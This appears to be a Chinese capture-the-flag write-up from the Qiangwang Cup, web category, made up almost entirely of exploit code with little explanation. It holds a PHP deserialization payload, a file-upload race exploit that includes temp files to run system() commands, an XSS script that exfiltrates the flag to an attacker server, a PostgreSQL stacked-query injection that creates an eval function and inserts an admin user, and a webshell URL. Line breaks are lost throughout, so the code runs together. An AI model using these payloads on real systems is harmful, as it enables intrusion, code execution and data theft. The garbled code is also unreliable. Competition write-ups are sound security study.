第五届强网杯线上赛冠军队 WriteUp - Web 篇

import re phpf = open('class.php').read()
popchain = []#入口函数(entry)start_func = 'public function SZB1zV'func_split_aa = start_funcstop =0 #深度优先搜索def check_santi(func_split):    callee_class_preg_obj = re.findall(r'([a-zA-Z0-9->$]*)(([^)]*))',phpf.split(func_split)[1].split("public function")[0], re.M|re.I)    #匹配参数名    arg = callee_class_preg_obj[0][1]    #匹配代码块    code_block = phpf.split(func_split)[1].split(" public function")[0]    #强净化检测    if arg+"=" in code_block:        print("falied")        return False    else:        callee_class_preg_obj = re.findall(r'([a-zA-Z0-9->$]*)(',phpf.split(func_split)[1].split("public function")[0], re.M|re.I)        #遍历目标函数中所有被调用的函数        for c in callee_class_preg_obj:            if c=="":                continue            #eval函数            if c == 'eval':                print('eval!')                stop =1                return True            #被调用的函数$this->member->funcname(xxx)            if c[0] == '$':                #当前的class name                class_name = phpf.split(func_split)[0].split('class ')[-1].split('{')[0]                #被调用函数对应的类赋值给当前类的哪个member                current_class_member = c.split('->')[1]                #被调用函数名                func_split_n = "public function " + c.split('->')[2]                #深度递归被调用函数                if not check_santi(func_split_n):                    continue                print(func_split_n)                #获取被调用函数所属的class name                new_class_name = phpf.split(func_split_n)[0].split('class ')[-1].split('{')[0]                #添加popchain节点                 popchain.append({"name":class_name,"member":current_class_member,"new_class":new_class_name})                print(popchain)                return True
check_santi(func_split_aa)print("ok")
#生成popchain的php代码gen_str = ""last_class_name = popchain[0]['new_class']cnt = 0for i in popchain:    if cnt == 0:         gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();"        gen_str += "$"+i["name"]+"test->"+i["member"]+"= new "+last_class_name+"();"        last_class_name = i["name"]        cnt+=1        continue    gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();"    gen_str += "$"+i["name"]+"test->"+i["member"]+"= $"+last_class_name+"test;"    last_class_name = i["name"]
print(gen_str)

ppp[number1]=2022a&ppp[number2]=8e9&ppp[number3]=61823470&ppp[number4]=0e12345&ppp[number5]=abcd

O:7:"myclass":1:{s:5:"hello";O:5:"Hello":2:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}

# -*- coding: utf-8 -*-import reimport sysimport requestsimport threadingimport time
image = open('evil.png', 'rb').read()uploadImage = [('file', ('exp.png',                         image,'application/png'))]
proxies = {'http': '127.0.0.1:8080'}

def upload():    payload = {}    files = uploadImage    headers = {'Cookie': 'ctfer=%4f%3a%37%3a%22%6d%79%63%6c%61%73%73%22%3a%32%3a%7b%73%3a%31%3a%22%61%22%3b%4f%3a%35%3a%22%48%65%6c%6c%6f%22%3a%32%3a%7b%73%3a%33%3a%22%71%77%62%22%3b%73%3a%32%35%3a%22%68%74%74%70%3a%2f%2f%38%31%2e%36%38%2e%31%37%30%2e%32%34%33%3a%32%33%33%33%22%3b%7d%73%3a%31%3a%22%62%22%3b%4f%3a%33%32%3a%22%65%32%61%37%31%30%36%66%31%63%63%38%62%62%31%65%31%33%31%38%64%66%37%30%61%61%30%61%33%35%34%30%22%3a%30%3a%7b%7d%7d'    }    response = requests.request("POST", url, headers=headers, data=payload, files=files, proxies=proxies)    print(response.text)

def scanTmpDir():    u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php"    param = {        scan_param: '/tmp/',    }while True:        response1 = requests.get(u, params=param, allow_redirects=False)        files = re.findall(r'php[a-zA-Z0-9]{6}', response1.text)if len(files) != 0:            include(files)

def include(files):    u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php"for file in files:        file = "/tmp/" + file        param = {            include_param: file,'1':"system('{}');".format(command)        }# print("including :", file)        response = requests.get(u, params=param, proxies=proxies)        print(response.text)

if __name__ == '__main__':if len(sys.argv) < 3:        print("py -3 exp.py url include_param scan_param command")        exit()    url = sys.argv[1]    include_param = sys.argv[2]    scan_param = sys.argv[3]
    command = sys.argv[4]
    attack = ""
    threading.Thread(target=upload).start()    threading.Thread(target=scanTmpDir).start()

import requests
r = requests.Session()
#host = 'http://47.104.192.54:8888'
host = 'http://47.104.210.56:8888'username = 'guesttest'password = 'guesttest'
def register(host):
    url = f"{host}/register"    res = r.post(url, data = {"username":username, "password":password})

def login(host):    url = f"{host}/login"    res = r.post(url, data = {"username":username, "password":password})

register(host)login(host)

uuid_table = '-abcdef1234567890'flag_str = 'flag{6bb77f8b-6bc8-4b9e-b654-8a4da'flag_str = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920"while True:
for i in uuid_table:        flag = flag_str + i        payload = 'http://localhost:8888/about?theme=%22;$.ajax({url:%22/flag?var=' + flag + '%22,success:(data)=>{location.href="http://attacker_server/?test"}});//'        print(payload)        url = f"{host}/report"        res = r.post(url, {"url":payload})import time        time.sleep(6)with open("/var/log/apache2/access.log", "r") as f:            data = f.read()import os        os.system('echo "" > /var/log/apache2/access.log')        time.sleep(0.1)if 'test' in data:            flag_str = flag            print(flag_str)            break

const salt = random('Aa0', 40);const HashCheck = sha256(sha256(salt + 'admin')).toString();
let filter = (data) => {let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];let flag = false;
if (typeof data !== 'string') return true;
    blackwords.forEach((value, idx) => {if (data.includes(value)) {console.log(`filter: ${value}`);return (flag = true);        }    });
let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];    limitwords.forEach((value, idx) => {if (count(data, value) > 3){console.log(`limit: ${value}`);return (flag = true);        }    });
return flag;}app.get('/source', async (req, res, next) => {    fs.readFile('./source.txt', 'utf8', (err, data) => {if (err) {            res.send(err);        }else {            res.send(data);        }    });});
app.all('/', async (req, res, next) => {if (req.method == 'POST') {if (req.body.username && req.body.password) {let username = req.body.username.toLowerCase();let password = req.body.password.toLowerCase();
if (username === 'admin') {                res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);return;            }
            UserHash = sha256(sha256(salt + username)).toString();if (UserHash !== HashCheck) {                res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);return;            }
if (filter(password)) {                res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);return;            }
let sql = `select password,username from users where username='${username}' and password='${password}';`;            client.query(sql, [], (err, data) => {if (err) {                    res.send(`<script>alert("Something Error!");location.href='/';</script>`);return;                }else {if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {                        res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);return;                    }else {                        res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);return;                    }                }            });        }    }
    res.render('index');return;});

create or replace function eval(expression text) returns integeras$body$declareresult integer;beginexecute expression;  return 1;end;$body$language plpgsql;select eval(reverse(')''ass111'' ,''nimda''( seulav )drowssap ,emanresu( sresu otni tresni'));commit;

username[]=admin&password=a';create%20or%20replace%20function%20eval(expression%20text)%20returns%20integer%0aas%0a%24body%24%0adeclare%0a%20%20result%20integer%3b%0abegin%0a%20%20execute%20expression%3b%0a%20%20return%201%3b%0aend%3b%0a%24body%24%0alanguage%20plpgsql%3b%0aselect%20eval(reverse(')''321aaa''%20%2c''nimda''(%20seulav%20)drowssap%20%2cemanresu(%20sresu%20otni%20tresni'))%3b;commit;aaaa--+-

http://47.104.137.239:36842/account/login

http://47.104.137.239:36842/upload/917c389f94e804f95e4e20e4c937bf5a/a.php?1=curl%20http://127.0.0.1:8006/